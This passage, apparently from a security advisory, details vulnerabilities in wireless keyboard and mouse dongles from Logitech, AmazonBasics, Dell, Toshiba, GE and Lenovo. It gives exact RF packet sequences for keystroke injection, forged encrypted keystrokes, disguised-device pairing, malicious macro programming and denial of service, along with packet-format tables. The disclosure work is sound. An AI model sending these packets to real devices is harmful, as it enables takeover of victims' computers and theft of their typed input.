address EA:E1:93:27:15. Packet format is described in figure 14. 6 EA:E1:93:27:15 00 0F 06 02 03 4F 67 12 34 EA Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a malicious device at address EA:E1:93:27:15. Packet format is described in figure 15. 7 EA:E1:93:27:15 00:0F:06:01:00:00:00:00:00:EA Message indicating that pairing is complete, transmitted from a malicious device to a dongle at address EA:E1:93:27:15. Packet format is described in figure 16. 5.7.2 Unencrypted Keystroke Injection (BN-0002) Logitech Unifying keyboards encrypt keyboard packets using 128-bit AES, but do not encrypt multimedia key packets, or mouse packets (on keyboards with touchpads). The unencrypted multimedia key / mouse packets are converted to HID++ packets by the dongle, and forwarded to the host. When the dongle receives an unencrypted keyboard packet, it converts it to an HID++ packet and forwards it to the host in the same manner. This makes it possible to inject keyboard packets without knowledge of the AES key. Transmitting the following two packets to the RF address of a paired keyboard will generate a keypress of the let- ter ’a’. 1 EA:E1:93:27:21 00:C1:00:04:00:00:00:00:00:3B Unencrypted keypress packet with the HID scan code for ’a’ specified (04), transmitted from a malicious device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6. 2 EA:E1:93:27:21 00:C1:00:00:00:00:00:00:00:3F Unencrypted keypress packet with no HID scan codes specified (key release), transmitted from a malicious device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6. The second octet, 0xC1, indicates that this is a keyboard packet, and the fourth octet contains the keyboard scan code. In this example, the first packet represents the depressing the ’a’ key, and the second packet represents re- leasing it. The final octet in each packet is the checksum. 5.7.3 Disguise Keyboard as Mouse (BN-0003) When a mouse or keyboard is paired to a Logitech Unifying dongle, the new device provides the dongle with its product ID, name, serial number, and a bitmask of the HID frame types that it can generate. 13 It is possible to pair a device that presents itself as a mouse to the host OS, but is capable of generating key- board HID frames. This allows keystrokes to be injected into the host without the user seeing a paired keyboard. The following exchange results in a new device being paired with a dongle. The device will show up as an M510 mouse with a serial number of 12345678, but will have the same HID capabilities as a K400r keyboard. 1 EA:E1:93:27:16 7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40 Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a malicious device to a don- gle at address EA:E1:93:27:16. Packet format is described in figure 10. 2 EA:E1:93:27:16 7F 1F 01 EA E1 93 27 16 08 88 02 04 00 02 04 00 00 00 00 00 00 2A Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from a dongle to a malicious device at address EA:E1:93:27:16. Packet format is described in figure 11. 3 EA:E1:93:27:16 00 5F 02 00 00 00 00 12 34 56 78 1E 40 00 00 01 00 00 00 00 00 86 Payload containing the serial number 12345678 and USB HID capabilities for a K400r keyboard (1E40), transmitted from a malicious device to a dongle at address EA:E1:93:27:16. Packet format is described in figure 12. 4 EA:E1:93:27:16 00 1F 02 19 0B 12 49 12 34 56 78 1E 40 00 00 01 00 00 00 00 00 ED Response echoing back the serial number and USB HID capabilities of the malicious device, transmitted from a dongle to a malicious device at address EA:E1:93:27:16. Packet format is described in figure 13. 5 EA:E1:93:27:16 00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6 Payload containing the device name M510 as ASCII text, transmitted from a malicious device to a dongle at address EA:E1:93:27:16. Packet format is described in figure 14. 6 EA:E1:93:27:16 00 0F 06 02 03 08 97 12 34 01 Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a malicious device at address EA:E1:93:27:16. Packet format is described in figure 15. 7 EA:E1:93:27:16 00:0F:06:01:00:00:00:00:00:EA Message indicating that pairing is complete, transmitted from a malicious device to a dongle at address EA:E1:93:27:16. Packet format is described in figure 16. 5.7.4 Unencrypted Keystroke Injection Fix Bypass (BN-0011) In order to address the reported vulnerabilities BN-0001, BN-0002, and BN-0003, Logitech released firmware updates for both the nRF24L and TI-CC254X variants of the Unifying dongles. The updated firmware success- fully fixed the pairing vulnerabilities, but failed to fix the unencrypted keystroke injection vulnerability in certain cases. On a computer with a clean install of Windows 10, a Unifying dongle with the updated firmware does not accept unencrypted keystrokes. However, there are several situations in which keystroke injection continued to work. 14 1. When Logitech SetPoint is installed on Windows, keystroke injection starts working again. 2. The fix failed to correct the keystroke injection vulnerability on Linux. 3. The fix failed to correct the keystroke injection vulnerability on OSX. 5.7.5 Encrypted Keystroke Injection (BN-0013) Logitech Unifying keyboards encrypt keyboard packets using 128-bit AES, but the implementation makes it pos- sible to infer the ciphertext and inject malicious keystrokes. An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle: 00 D3 EA 98 B7 30 EE 49 59 97 9C C2 AC DA 00 00 00 00 00 00 00 B9 // ’a’ key down 00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // ’a’ key up Octets 2-8 are the encrypted portion of the payload, and octets 9-13 appear to be a 4-byte AES counter preceded by a checksum or parity byte. The unencrypted octets 2-8 are as follows: 00 00 00 00 00 00 04 // ’a’ key down 00 00 00 00 00 00 00 // ’a’ key up Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 2-8 of the second packet represent the ciphertext for the counter/checksum in bytes 9-13. Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption key. In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com- puter: 00 D3 5C C8 88 A3 F8 CC 98 5F 9C C2 AC DB 00 00 00 00 00 00 00 3E // ’b’ key down 00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // ’b’ key up Octet 8 of the first packet, the last encrypted byte, has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the unchanged ’key up’ packet previously observed. 15 5.8 Logitech Unifying Packet Formats Logitech Wake-up Payload Field Length Description Device Index 1 byte last octet of the device’s RF address Frame Type 1 byte 51 Device Index 1 byte last octet of the device’s RF address ?? 1 byte varies between devices, and the specific value does not appear to matter ?? 1 byte 00 ?? 3 bytes 01:01:01 Unused 13 bytes Checksum 1 byte Table 4: Logitech Wake-up Payload Logitech Wake-up Payload 2 Field Length Description Device Index 1 byte last octet of the device’s RF address Frame Type 1 byte 50 ?? 1 byte 01 ?? 1 byte 4B ?? 1 byte 01 Unused 4 bytes Checksum 1 byte Table 5: Logitech Wake-up Payload 2 16 Logitech Mouse Payload Field Length Description Unused 1 byte Frame Type 1 bytes 0xC2 Button Mask 1 bytes flags indicating the state of each button Unused 1 bytes Movement 3 bytes pair of 12-bit signed integers representing X and Y cursor velocity Wheel Y 1 bytes scroll wheel Y axis (up and down scrolling) Wheel X 1 bytes scroll wheel X axis (left and right clicking) Checksum 1 byte Table 6: Logitech Mouse Payload Logitech Encrypted Keystroke Payload Field Length Description Unused 1 byte Frame Type 1 bytes 0xD3 Keyboard HID Data 7 bytes ?? 1 byte AES counter 4 bytes Unused 7 bytes Checksum 1 byte Table 7: Logitech Encrypted Keystroke Payload Logitech Unencrypted Keystroke Payload Field Length Description Unused 1 byte Frame Type (0xC1) 1 bytes Keyboard HID Data 7 bytes Checksum 1 byte Table 8: Logitech Unencrypted Keystroke Payload 17 Logitech Multimedia Key Payload Field Length Description Unused 1 byte Frame Type 1 bytes 0xC3 Multimedia Key Scan Codes 4 bytes USB HID multimedia key scan codes Unused 3 bytes Checksum 1 byte Table 9: Logitech Multimedia Key Payload Logitech Pairing Request 1 Payload Field Length Description ID 1 byte temporary ID, randomly generated by the pairing device Frame Type 1 bytes frame type Step 1 bytes identifies the current step in the pairing process ?? 5 bytes Some devices fill this field with their previously paired RF address, and others fill it with random data. The value does not appear to a↵ect the pairing process. ?? 1 bytes unknown usage, always observed as 0x08 Product ID 2 bytes ?? 2 bytes Device Type 2 bytes this field specifies the USB HID device type; observed values include 02:0C (M510 mouse) and 01:47 (K830 keyboard) ?? 5 bytes ?? 1 byte any nonzero value Checksum 1 byte Table 10: Logitech Pairing Request 1 Payload 18 Logitech Pairing Response 1 Payload Field Length Description ID 1 byte temporary ID, randomly generated by the pairing device Frame Type 1 bytes Step 1 bytes identifies the current step in the pairing process Address 5 bytes new RF address assigned to the pairing device ?? 1 bytes unknown usage, always observed as 0x08 Product ID 2 bytes ?? 4 bytes Device Type 2 bytes this field specifies the USB HID device type; observed values are 02:0C (M510) and 01:47 (K830) ?? 6 bytes Checksum 1 byte Table 11: Logitech Pairing Response 1 Payload Logitech Pairing Request 2 Payload Field Length Description Unused 1 byte Frame Type 1 bytes Step 1 bytes identifies the current step in the pairing process Crypto 4 bytes data potentially used during AES key generation; mice transmit 4 0x00 bytes, and keyboards transmit 4 random bytes Serial Number 4 bytes device serial number Capabilities 2 bytes device capabilities; observed values are 04:00 (mouse) and 1E:40 (keyboard) ?? 8 bytes Checksum 1 byte Table 12: Logitech Pairing Request 2 Payload 19 Logitech Pairing Response 2 Payload Field Length Description Unused 1 byte Frame Type 1 bytes Step 1 bytes identifies the current step in the pairing process Crypto 4 bytes data potentially used during AES key generation; appears to be randomly gener- ated Serial Number 4 bytes device serial number Capabilities 2 bytes device capabilities; observed values are 04:00 (mouse) and 1E:40 (keyboard) ?? 8 bytes Checksum 1 byte Table 13: Logitech Pairing Response 2 Payload Logitech Pairing Request 3 Payload Field Length Description Unused 1 byte Frame Type 1 byte Step 1 byte ?? 2 bytes Device Name Length 1 byte Device Name 16 bytes Checksum 1 byte Table 14: Logitech Pairing Request 3 Payload Logitech Pairing Response 3 Payload Field Length Description Unused 1 byte temporary ID, randomly generated by the pairing device Frame Type 1 byte Step 1 byte Crypto 2 bytes bytes 1-2 of the potential crypto setup data sent by the device Crypto 4 bytes bytes 0-3 of the potential crypto setup data sent by the dongle Checksum 1 byte Table 15: Logitech Pairing Response 3 Payload 20 Logitech Pairing Complete Payload Field Length Description Unused 1 byte temporary ID, randomly generated by the pairing device Frame Type 1 byte Step 1 byte ?? 6 bytes bytes 1-2 of the potential crypto setup data sent by the device Checksum 1 byte Table 16: Logitech Pairing Complete Payload 6 Logitech G900 The Logitech G900 gaming mouse employs a protocol similar to Unifying, with several distinctions. • No pairing support (mouse and dongle are permanently paired) • Fewer and di↵erent RF channels • More aggressive keepalive timeouts The protocol and device behavior is otherwise the same as Unifying, and can be thought of as a permanently paired Unifying dongle/device set. Radio Configuration Channels (MHz) 2402, 2404, 2425, 2442, 2450, 2457, 2479, 2481 Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes ESB Payload Lengths 5, 10, 11, 22 Table 17: Logitech G900 radio configuration 6.1 Vulnerabilities 6.1.1 Unencrypted Keystroke Injection (BN-0012) The Logitech G900 includes functionality to transmit keystrokes in response to specific button clicks. When this feature is used, the keystrokes are transmitted unencrypted, meaning that the dongle supports receiving unen- crypted keystrokes. Transmitting the following two packets to the RF address of a paired keyboard will generate a keypress of the let- ter ’a’. 1 EA:E1:93:27:21 00:C1:00:04:00:00:00:00:00:3B Unencrypted keypress packet with the HID scan code for ’a’ specified (04), transmitted from a malicious device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6. 21 2 EA:E1:93:27:21 00:C1:00:00:00:00:00:00:00:3F Unencrypted keypress packet with no HID scan codes specified (key release), transmitted from a malicious device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6. The second octet, 0xC1, indicates that this is a keyboard packet, and the fourth octet contains the keyboard scan code. In this example, the first packet represents the depressing the ’a’ key, and the second packet represents re- leasing it. The final octet in each packet is the checksum. 6.1.2 Malicious Macro Programming (BN-0016) Using the Logitech Gaming Software, a user can customize their G900 mouse to trigger keystroke macros when- ever they click a specified mouse button. The macros are stored on the mouse itself, and do not depend on any software being installed on the host computer. The communication between the mouse and dongle is unencrypted, making it possible for an attacker to program arbitrary macros into the mouse. The G900 dongle communicates with the G900 mouse by attaching payloads to ACK packets going from the dongle back to the mouse. In order to maliciously program a macro into a tar- get mouse, an attacker can ACK packets transmitted by a mouse, attaching ACK payloads with the specific com- mands. The G900 macro programming works by first transmitting data representing all of the available macro commands to the mouse. Then, commands are transmitted to assign a specific macro to a specific mouse button. The following exchange will program a macro to type the sequence ’abc’: 1 19:D3:AC:21:08 00 11 07 0E 6F 00 06 00 00 01 00 00 00 00 00 00 00 00 00 00 00 64 2 19:D3:AC:21:08 00 51 01 0E 6F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 3 19:D3:AC:21:08 00 11 07 0E 7F 43 00 04 44 00 04 43 00 05 44 00 05 43 00 06 44 AE 4 19:D3:AC:21:08 00 51 01 0E 7F 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5 19:D3:AC:21:08 00 11 07 0E 7F 00 06 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 63 6 19:D3:AC:21:08 00 51 01 0E 7F 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1F 7 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 8 19:D3:AC:21:08 00 51 01 0E 7F 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1E 9 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 10 19:D3:AC:21:08 00 51 01 0E 7F 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D 11 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 12 19:D3:AC:21:08 00 51 01 0E 7F 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1C 13 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 14 19:D3:AC:21:08 00 51 01 0E 7F 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B 22 15 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 16 19:D3:AC:21:08 00 51 01 0E 7F 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1A 17 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 18 19:D3:AC:21:08 00 51 01 0E 7F 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 19 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 20 19:D3:AC:21:08 00 51 01 0E 7F 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 21 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 22 19:D3:AC:21:08 00 51 01 0E 7F 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 23 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 24 19:D3:AC:21:08 00 51 01 0E 7F 00 0B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 25 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 26 19:D3:AC:21:08 00 51 01 0E 7F 00 0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 27 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 28 19:D3:AC:21:08 00 51 01 0E 7F 00 0D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 29 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 30 19:D3:AC:21:08 00 51 01 0E 7F 00 0E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 31 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 32 19:D3:AC:21:08 00 51 01 0E 7F 00 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 33 19:D3:AC:21:08 00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B 34 19:D3:AC:21:08 00 51 01 0E 7F 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 35 19:D3:AC:21:08 00 10 07 0E 8F 00 00 00 00 4C The odd numbered packets are ACK payloads going from the attacker’s transmitter to the mouse, and the even numbered payloads are response packets transmitted by the mouse. In this example, packets 3 and 5 contain the HID scan code information for key down and up events for keys ’a’, ’b’, and ’c’. The specific mouse button assigned to a macro is defined in a configuration block that describes various mouse configuration properties. Two of the packets in this block describe the mouse button assignments. 23 1 19:D3:AC:21:08 00 11 07 0E 7F 80 01 00 01 80 01 00 02 80 01 00 04 00 06 00 00 CB Assign the first macro to the ’back’ button (1 of 2), transmitted from a malicious device to a G900 mouse at address 19:D3:AC:21:08. Packet format is described in figure ??. 2 19:D3:AC:21:08 00 11 07 0E 7F 80 01 00 10 80 01 00 08 80 01 00 10 90 04 FF FF 1E Assign the first macro to the ’back’ button (2 of 2), transmitted from a malicious device to a G900 mouse at address 19:D3:AC:21:08. Packet format is described in figure ??. 7 Chicony Chicony is the OEM which manufacturers the AmazonBasics wireless keyboard and mouse, along with the Dell KM632 wireless keyboard and mouse. Radio Configuration Channels (MHz) 2403-2480, 1MHz spacing Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes Table 18: Chicony radio configuration 7.1 Vulnerabilities 7.1.1 Unencrypted Keystroke Injection - AmazonBasics (BN-0007) It is possible to transmit a specially crafted RF packet to the RF address of a Dell KM632 mouse, causing the dongle to send keyboard HID packets to the host operating system. Transmitting the following three payloads to the RF address of an AmazonBasics wireless mouse will generate an ’a’ keypress (HID scan code: 04): 1 XX:XX:XX:XX:XX 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F 2 XX:XX:XX:XX:XX 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00:04:00 3 XX:XX:XX:XX:XX 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F 7.1.2 Unencrypted Keystroke Injection - Dell KM632 (BN-0007) It is possible to transmit a specially crafted RF packet to the RF address of a Dell KM632 mouse, causing the dongle to send keyboard HID packets to the host operating system. Transmitting the following two payloads to the RF address of a Dell KM632 wireless mouse will generate an ’a’ keypress (HID scan code: 04): 1 XX:XX:XX:XX:XX 06:00:04:00:00:00:00:00:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00 2 XX:XX:XX:XX:XX 06:00:00:00:00:00:00:00:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:00:00:00 24 7.1.3 Encrypted Keystroke Injection - AmazonBasics (BN-0013) The AmazonBasics keyboard encrypts RF packets, but the implementation makes it possible to infer the cipher- text and inject malicious keystrokes. An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle: B9 D6 00 8E E8 7C 74 3C BD 38 85 55 92 78 01 // ’a’ key down D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’a’ key up Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1 does not appear to have any e↵ect on the resulting HID packet. The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00. 00 XX 04 00 00 00 00 // ’a’ key down 00 XX 00 00 00 00 00 // ’a’ key up Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and 2- 7 of the second packet represent unaltered ciphertext. Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption key. In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com- puter: D0 E4 6A 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’b’ key down D0 E4 6F 75 C9 D1 53 30 39 7B AD BC 44 B1 F6 // ’b’ key up Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un- changed ’key up’ packet previously observed. 7.1.4 Encrypted Keystroke Injection - Dell KM632 (BN-0013) Dell KM632 keyboard encrypts RF packets, but the implementation makes it possible to infer the ciphertext and inject malicious keystrokes. An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle: CD 38 09 E1 86 6D D7 DE 0E 20 F7 F2 E6 68 67 // ’a’ key down D4 D5 16 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’a’ key up Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1 does not appear to have any e↵ect on the resulting HID packet. The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00. 00 XX 04 00 00 00 00 // ’a’ key down 00 XX 00 00 00 00 00 // ’a’ key up Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and 2-7 of the second packet represent unaltered ciphertext. Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption key. In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com- puter: D4 D5 13 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’b’ key down D4 D5 16 E9 E8 5A 59 BE DD 41 D0 9A 06 B4 42 // ’b’ key up 25 Octet 2 of the first packet has been XOR’d with 0x05, the HID scan code for ’b’. The second packet is the un- changed ’key up’ packet previously observed. 8 MOSART MOSART Semiconductor produces unencrypted transceivers for use in wireless mice and keyboards. MOSART- based products from each vendor functioned identically, so it is assumed that there is no vendor customization available. Preamble 2 bytes Address 4 bytes Frame Type 4 bits Sequence Number 4 bits Payload 3-5 bytes CRC 2 bytes Postamble 1 byte (MOSART) Figure 7: MOSART packet format Radio Configuration Channels (MHz) 2402-2480, 2MHz spacing Data Rate 1Mbps (1MHz GFSK) Address Length 4 bytes CRC Length 2 bytes, CRC-16 XMODEM Payload Whitening 0x5A (repeated) Table 19: MOSART radio configuration MOSART Movement Packet Field Length Description Preamble 2 bytes AA:AA Address 4 bytes Frame Type 4 bits 0x04 Sequence Number 4 bits X1 1 byte X movement for 1 of 2 possible concatenated movement packets X2 1 byte X movement for 2 of 2 possible concatenated movement packets Y1 1 byte Y movement for 1 of 2 possible concatenated movement packets Y2 1 byte Y movement for 2 of 2 possible concatenated movement packets CRC 2 bytes CRC-16 XMODEM Postamble 1 byte FF Table 20: MOSART Movement Packet 26 MOSART Scroll Packet Field Length Description Preamble 2 bytes AA:AA Address 4 bytes Frame Type 4 bits 0x07 Sequence Number 4 bits Button State 1 byte 0x81 Button Type 4 bits 0x0F Scroll Motion 4 bits 0x0F: down, 0x01: up CRC 2 bytes CRC-16 XMODEM Postamble 1 byte FF Table 21: MOSART Scroll Packet MOSART Click Packet Field Length Description Preamble 2 bytes AA:AA Address 4 bytes Frame Type 4 bits 0x07 Sequence Number 4 bits Button State 1 byte 0x81 (down) or 0x01 (up) Button Type 4 bits 0x0A Button 4 bits CRC 2 bytes CRC-16 XMODEM Postamble 1 byte FF Table 22: MOSART Click Packet 27 MOSART Keypress Packet Field Length Description Preamble 2 bytes AA:AA Address 4 bytes Frame Type 4 bits 0x07 Sequence Number 4 bits Key State 1 byte 0x81 (down) or 0x01 (up) Key Code 1 byte CRC 2 bytes CRC-16 XMODEM Postamble 1 byte FF Table 23: MOSART Keypress Packet 8.1 Vulnerabilities 8.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0010) MOSART-based keyboards and USB dongles communicate using an unencrypted wireless protocol, making it possible to sni↵ keystrokes and inject malicious keystrokes. The dongles reports to the host operating system as MOSART Semiconductor transceivers, however the specific RFIC is unknown, and no publicly available documentation could be found. The RF packets contain a preamble, address, payload, CRC, and postamble. The sync field, payload, and CRC are whitened by XORing with repeated 0x5A bytes, and the CRC is the XModem variant of CRC-CCITT. An ’a’ keystroke is transmitted over the air in the following format: AA:AA:AE:DD:D4:E8:23:DB:48:19:06:FF // ’a’ key down AA:AA:AE:DD:D4:E8:20:5B:48:D1:44:FF // ’a’ key up 9 Signia Toshiba uses a Signa SGN6210 transceiver in the a↵ected wireless keyboard and mouse, which is an unencrypted frequency hopping transceiver. Radio Configuration Channels (MHz) 2402-2480, 1MHz spacing Data Rate 1Mbps (1MHz GFSK) CRC Length 2 bytes, CRC-16-CCITT Table 24: Signia radio configuration 28 9.1 Vulnerabilities 9.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0010) The keyboard and USB dongle communicate using an unencrypted wireless protocol, making it possible to sni↵ keystrokes and inject malicious keystrokes. An example ’a’ keystroke is transmitted over the air in the following format: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ----------------------------------------------------------------------- AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 87 B8 7F 1D 8A 5F C3 17 // ’a’ key down AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F // ’a’ key up 0-2: preamble 3-13: sync field / address / packet type 14-21: keyboard data 22-23: CRC with polynomial 0x1021 The packet is whitened before being transmitted over the air, and the whitening sequence is specific to each paired keyboard and dongle. It is not known how the whitening sequence is generated, but it can be inferred by pas- sively listening to keyboard traffic. The keyboard data (octets 14-21) are a whitened version of the HID packet that gets sent to the host operating system when a key is pressed. The de-whitened HID packets in this example are as follows: 14 15 16 17 18 19 20 21 ----------------------- 00 00 04 00 00 00 00 00 // ’a’ key up 00 00 00 00 00 00 00 00 // ’a’ key down Since the HID packet when no keys are depressed is all 0x00 bytes, it can be inferred that the whitening sequence is the same as bytes 14-21 in the second RF packet. 14 15 16 17 18 19 20 21 ----------------------- 20 69 A7 B8 7F 1D 8A 5F // whitening sequence Using this knowledge, an attacker can craft RF packets to inject arbitrary keystrokes. The HID and RF packets for the key ’b’ are as follows: 14 15 16 17 18 19 20 21 ----------------------- 00 00 05 00 00 00 00 00 // ’b’ down HID packet 20 69 07 B8 7F 1D 8A 5F // ’b’ down, reversed bit order, and XOR’d with the whitening sequence The new RF packet pair to inject an ’b’ keystroke is as follows: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ----------------------------------------------------------------------- AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 07 B8 7F 1D 8A 5F 17 37 // ’b’ key down AA AA AA A8 0F 71 4A DC EF 7A 2C 4A 2A 28 20 69 A7 B8 7F 1D 8A 5F F6 1F // ’b’ key up 29 10 Unknown GE Transceiver The a↵ected GE wireless keyboard and mouse use an unknown 500kHz GFSK transceiver. Radio Configuration Channels (MHz) 2402-2480, 1MHz spacing Data Rate 500kbps (500kHz GFSK) CRC Length 2 bytes, CRC-16-CCITT Table 25: GE radio configuration 10.1 Vulnerabilities 10.1.1 Unencrypted Keystroke Sniffing and Injection (BN-0015) The keyboard and USB dongle communicate using an unencrypted wireless protocol, making it possible to sni↵ keystrokes and inject malicious keystrokes. The RF packets contain a preamble, sync field, payload, protected by a 16-bit CRC (CRC-CCITT). An ’a’ keystroke is transmitted over the air in the following format: 55:55:55:54:5A:07:9D:01:04:00:00:00:00:00:00:00:30:41 // ’a’ key down 55:55:55:54:5A:07:9D:01:00:00:00:00:00:00:00:00:3F:2C // ’a’ key up Bytes 0-2: preamble Bytes 3-6: sync field / address Bytes 7-15: payload Bytes 16-17: CRC 11 Lenovo Lenovo sells wireless keyboards and mice made by multiple OEMs. They use di↵erent protocols, but are all based on nRF24L transceivers, using a common physical layer configuration. Radio Configuration Channels (MHz) 2403 - 2480 Data Rate 2Mbps (2MHz GFSK) Address Length 5 bytes CRC Length 2 bytes Table 26: Lenovo radio configuration 11.1 Vulnerabilities 11.1.1 Denial of Service (BN-0008) It is possible to transmit a specially crafted RF packet to the RF address of a Lenovo wireless mouse/keyboard, causing the devices paired with the dongle to stop responding until the dongle it is re-seated. 30 The following packet will disable a Lenovo Ultraslim Plus keyboard/mouse when transmitted to the RF address of the mouse: 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F The following packet will disable a Lenovo Ultraslim keyboard/mouse when transmitted to the RF address of the keyboard: 0F The following packet will disable a Lenovo N700 mouse when transmitted to the RF address of the mouse: 0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F:0F 11.1.2 Unencrypted Keystroke Injection (BN-0009) Transmitting the following packets to a Lenovo 500 USB dongle will generate an ’a’ keystroke: 00:00:0B:00:00:04:00:00:00 00:00:0B:00:00:00:00:00:00 11.1.3 Encrypted Keystroke Injection (BN-0013) The Lenovo Ultraslim keyboard encrypts RF packets, but the implementation makes it possible to infer the ci- phertext and inject malicious keystrokes. An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle: 49 C3 5B 02 59 52 86 9F 38 36 27 EF AC // ’a’ key down 4C 66 E1 46 76 1A 72 F4 F5 C0 0D 85 C3 // ’a’ key up Octets 0 and 2-7 are octets 0 and 2-7 of a keyboard HID packet XOR’d with ciphertext. The value of octet 1 does not appear to have any e↵ect on the resulting HID packet. The unencrypted octets 0 and 2-7 are as follows. Octet 1 in the HID packet is always 0x00. 00 XX 04 00 00 00 00 // ’a’ key down 00 XX 00 00 00 00 00 // ’a’ key up Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 0 and 2- 7 of the second packet represent unaltered ciphertext. Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption key. In this scenario, transmitting the following two RF packets will cause a ’b’ 